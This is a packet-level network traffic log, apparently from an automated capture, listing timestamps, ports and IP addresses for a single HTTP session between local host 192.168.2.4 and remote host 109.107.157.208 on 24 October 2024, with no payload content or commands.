Oct 24, 2024 13:27:07.871279955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871306896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871324062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871345043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871385098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871402979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871422052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871442080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871458054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871479034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871499062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871511936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871530056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871553898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871562958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871576071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871598959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871618986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871633053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871653080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871666908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871692896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871704102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871715069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871740103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871761084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871774912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871800900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871809959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871823072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871845007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871865988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871881008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871900082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871937037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.970205069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.257200956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491580963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491729021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491770983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491812944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491835117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.491835117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.491835117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.491848946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491883993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491909027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.491909027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.491925955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491935968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.491961002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.491978884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.491997004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492022038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492048979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492057085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492094040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492127895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492135048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492135048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492162943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492171049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492196083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492218018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492232084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492257118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492271900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492284060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492322922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492333889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492372036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492383003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492407084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492427111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492453098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492464066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492518902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492522955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492575884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492578983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492609978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492640972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492661953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492664099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492713928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492721081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492748022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492774963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492783070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492795944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492816925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492835045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492851019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492863894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492883921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492901087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492919922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.492939949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492969990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.492971897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493022919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493032932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493067026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493084908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493102074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493113995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493135929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493149996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493170023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493191004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493202925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493223906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493238926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493247032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493288994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493293047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493328094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493338108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493361950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493376017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493411064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493418932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493452072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493469954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493486881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493499041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493520975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493535995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493571997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493576050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493608952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493627071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493643999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493654966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493673086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493697882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493716955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493731022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493766069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493782997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493801117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493817091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493835926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493864059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493874073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493880987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493927002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493927956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493963003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.493982077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.493998051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494015932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494031906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494052887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494066000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494081020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494101048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494123936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494136095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494146109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494169950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494187117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494220972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494224072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494277000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494277000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494313002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494329929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494347095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494364977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494400024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494404078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494437933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494458914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494472980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494488001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494508028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494529009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494558096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494563103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494596958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494615078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494633913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494649887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494688034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494693041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494723082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494735956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494756937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494774103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494792938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494811058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494829893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494849920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494867086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494887114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494918108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494920969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.494954109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.494968891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495006084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495008945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495047092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495059967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495098114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495099068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495136023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495146990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495165110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495187998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495199919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495218992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495234966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495266914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495266914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495286942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495301962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495320082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495341063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.495357037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.495407104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.604866028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.604902029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.604919910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.604937077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.604960918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.604976892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.604993105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605011940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605046988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605062962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605077028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605077982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605077982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605077982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605077982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605077982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605077982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605077982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605092049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605107069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605123997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605165958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605165958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605165958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605165958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605165958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605371952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605407000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605441093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605508089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605557919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605557919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605557919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605557919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605624914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605654955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605684996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605690956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605707884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605726957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605753899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605761051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605775118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605803013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605809927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605840921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605855942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605875969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605892897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605911016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.605926991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.605956078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.608932972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609004974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609009981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609069109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609103918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609162092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609196901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609215021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609215021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609215021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609215975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609230995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609266996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609288931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609289885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609312057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609322071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609375000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609375954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609411001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609426022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609445095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609467983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609479904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609491110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609514952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609530926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609553099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609563112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609586000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609601974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609632969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609633923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609667063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609683990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609704971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609725952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609738111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609750986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609774113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609783888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609807968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609821081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609843969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609859943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609888077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609899044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609942913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.609957933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609992027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.609994888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610029936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610044956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610066891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610079050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610101938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610116959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610146999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610155106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610189915 CEST	80	49730	109.107.157.208	192.168.2.4
